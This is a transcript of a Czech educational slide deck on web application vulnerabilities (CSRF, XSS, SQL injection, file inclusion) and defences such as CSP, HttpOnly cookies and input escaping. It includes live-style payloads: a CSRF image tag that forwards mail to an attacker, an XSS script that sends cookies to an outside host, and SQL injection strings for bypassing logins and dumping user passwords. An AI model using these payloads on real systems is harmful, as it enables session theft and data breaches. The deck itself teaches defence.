vlastimil pe čínka, seznam.cz roman kümmel,...
TRANSCRIPT
Zranitelnosti webových aplikací
Vlastimil Pečínka, Seznam.czRoman Kümmel, Soom.cz
Terminologie
• Zranitelnost (vulnerability)– Slabina, která umožní utočníkovi snížit/obejít
ochranu dat a informací– Security bug je užší vnímání zranitelnosti; existují
non-SW zranitelnosti (HW, zaměstnanci, …)non-SW zranitelnosti (HW, zaměstnanci, …)
• Exploit– V informatice program nebo sekvence příkazů, které
využívají zranitelnosti a umožňují tak získat nějaký prospěch
Webové zranitelnosti
XSSCross-site scripting
Využití d ůvěry uživatele v server
CSRFCross-site request forgery
Využití d ůvěry serveru v software uživatele
Webové zranitelnosti
HTTP header injection
Využití vlastností HTTP protokolu v kombinaci s neošet řeným p ředávaným vstupem od uživatele v vstupem od uživatele v hlavi čkách
SQL injectionVyužití mezery v zabezpe čení na
úrovni databázové vrstvy aplikace
CSRF
Svět webových zranitelností
Prom ěnnáCSS Flash
SQLiRFI LFI
CRLF
FPD
CSRF
Persistent
XSS
Non-Persistent
DOM based
SQL injection
HTTP injection
Same originpolicy
NOSCRIPT
Contentsecuritypolicy
HTTP only cookies
IE XSS filter
Praktická ukázka
Roman KümmelRoman Kümmelhttp://www.soom.cz
Praktická ukázka
Zranitelná webová aplikace
Cross Site Request Forgery (CSRF)
• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem
• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve
svém vlastním účtu
http://webmail.cz/[email protected]
Cross Site Request Forgery (CSRF)
• Nikdo střízlivý nedá vědomě serveru povel na přesměrování pošty na účet útočníka
• Cílem útočníka je přimět uživatele k jeho odeslání
http://webmail.cz/[email protected]
Nazdar Pepo,nechceš zítra zajít na pivo?
Lojza
Útok (CSRF)
Lojza
<img src=“http://webmail.cz/[email protected] “>
http://webmail.cz/[email protected]
Útok (CSRF)
X
Obrana (CSRF)
• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem
• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve
svém vlastním účtu
[email protected]&hash=a5dd78e
hash=a5dd78e
CSRF : XSS
• Zjištění hodnoty lístku pomocí XSS
Cross Site Scripting (XSS)
• Skripty mohou přistupovat pouze k objektům ze stejné domény ( Same Origin Policy )
• Pokud existuje chyba v zabezpečení, je možné injektovat skript do html dokumentu z dané domény
– Perzistentní (trvalé)– Non-perzistentní (reflektované)
Non-perzistetní XSS
• Odeslání požadavku webovým vyhledávačem
http://webmail.cz/search.php?query=slunce
• Odpověď vrácená prohlížečem
Na váš dotaz slunce nebyl nalezen žádný výsledek
Non-perzistetní XSS
• Odeslání požadavku webovým vyhledávačem
http://webmail.cz/search.php?query=<script>alert(1)</script>
• Zobrazení odpovědi vede ke spuštění skriptu
Na váš dotaz <script>alert(1)</script> nebyl nazezen žádný výsledek
Možné cíle útoku (XSS)
• Krádež cookies• Přesměrování uživatelů na jiné webové stránky• Defacement webové stránky• Automatické odesílání CSRF požadavků• Automatické odesílání CSRF požadavků• Změna atributu action u přihlašovacích formulářů• Odposlouchávání stisknutých kláves• Průzkum vnitřní sítě• Backdoor s obousměrnou komunikací• Mnoho dalších variant útoku
Nazdar Pepo,nechceš zítra zajít na pivo?
Lojza
<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3D
Cookie stealing (XSS)
<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3Ddocument.createElement%28%22img%22%29%3B+i.src%3D%22http%3A%2F%2Fmyserver.cz%3Fsavecook%3D%22%252Bdocument.cookie%3B%3C%2Fscript%3E‘>Super odkaz </a>
<script>i=document.createElement("img");i.src=http://myserver.cz?savecook=+document.cookie;
</script>
Cookie stealing (XSS)
Obrana (XSS)
• Nahrazení nebezpečných znaků HTML entitami
< ≶ > > “ " ‘ ' & &
• Nebezpečnost znaků záleží na kontextu v jakém jsou použity- <p>Toto je tvůj vstup: <script>alert(1)</script></p>- <input type=“text“ value=““ onfocus=“alert(1)“>
• Pozor na Javascript: a Data: URL v odkazech- <a href=“javascript:alert(1)“>odkaz</a>
Obrana (XSS)
• Uživatelský vstup kontrolovat podle bílých seznamů
Co není povoleno, je zakázáno !
SQL injection
Zmanipulování dotazu do databáze
SELECT jablka FROM stromSELECT jablka FROM strom
SELECT hrušky FROM obchod
SQL injection
pepa
pass123
$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);
SELECT * FROM users WHERE (login = 'pepa ') and (heslo = 'pass123 ')
PH
PS
QL
pepa
Útok SQL injection
pepa
' OR '1' = '1
pepa
$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);
SELECT * FROM users WHERE (login = 'pepa ') and (heslo = '' OR '1' = '1 ')
PH
PS
QL
SQL injectionP
HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";
$res = mysql_query($sql);
SELECT * FROM messages WHERE idprijemce = 11614
PH
PS
QL
Útok SQL injectionP
HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";
$res = mysql_query($sql);
SELECT * FROM messages WHERE idprijemce = -1 or 1=1
PH
PS
QL
• Zjištění počtu sloupců tabulky v původním dotazu
• Zjištění zobrazených polí
• Zjištění názvu databáze
Útok SQL injection
iduser=-1 union all select 1,2,3,4—
• Zjištění názvů tabulek a sloupců
• Výpis obsahu tabulky USERSiduser=-1 union all select 1,nick,login,heslo from users--
iduser=-1 union all select 1,2,3,database()—
iduser=-1 union all select 1,2,table_name,column_namefrom information_schema.columnswhere table_schema=database()—
SELECT *FROM messagesWHERE idprijemce = -1 order by 1 --
Obrana proti SQL injection
• Kontrola vstupu– Odstranění, zdvojení nebo escapování apostrofů– Číselné hodnoty ošetřit typovou konverzí– Výčtové vstupy kontrolovat na očekávané hodnoty– Výčtové vstupy kontrolovat na očekávané hodnoty– Využití parametrizovaných SQL dotazů– Využití uložených procedur
Injektáž skriptu na server
• Nezabezpečený upload
• Local File Inclusion (LFI)• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
(ne) bezpečný Internet
Pomocníci v zabezpe čení
• Content Security Policy• Same origin policy• XSS filter v IE• HTTPonly cookies• HTTPonly cookies
Content security policy
• Pravidla zaměřená na potlačení především XSS• CSP umožňuje poskytovatelům definovat
pravidla, kterými se prohlížeč řídí• Pravidla se pro dokument v HTTP hlavičkách• Pravidla se pro dokument v HTTP hlavičkách• Možnost reportingu při porušení pravidel
– Browser „bonzuje“ pomocí JSON, co se stalo– Report-only mode (what-if scénáře)
X-Content-Security-Policy: allow 'self'; img-src *; \object-src media1.com media2.com *.cdn.com; \script-src trustedscripts.example.com
Same origin policy
• Koncept známý od doby Netscape Navigator 2.0• Pravidla povolují plný přístupu skriptů k funkcím
a proměnným ve stránkách ze stejných zdrojů (a naopak limitují přístup k datům jiných zdrojů)– Jiný hostname (i www.seznam.cz vs seznam.cz)– Jiný port (http://lide.cz vs http://lide.cz:81)– Jiný protokol (https://email.cz vs https://email.cz)
• Nejasně definované pro file:, data:, …• Jiné policy např. pro skripty z jiných domén
IE XSS filter
• Vlastnost IE8, která ztěžuje tzv. reflected XSS• Filtr je komponenta, která je zapojena do všech
požadavků, které tečou skrze prohlížeč– Snaží se detekovat XSS a případně neutralizovat– Snaží se detekovat XSS a případně neutralizovat
HTTPonly cookie
• Stále ve stádiu „draftu“ IETF, nicméně široce podporované v prohlížečích
• Cookie, které není přístupná skriptům na stránce, jen použita pro HTTP/HTTPS session
• Často použita v kombinaci s omezením přenášení po zabezpečeném spojení
Set-Cookie: SSID=Adsd4ddssTq; Domain=.seznam.cz; Pa th=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly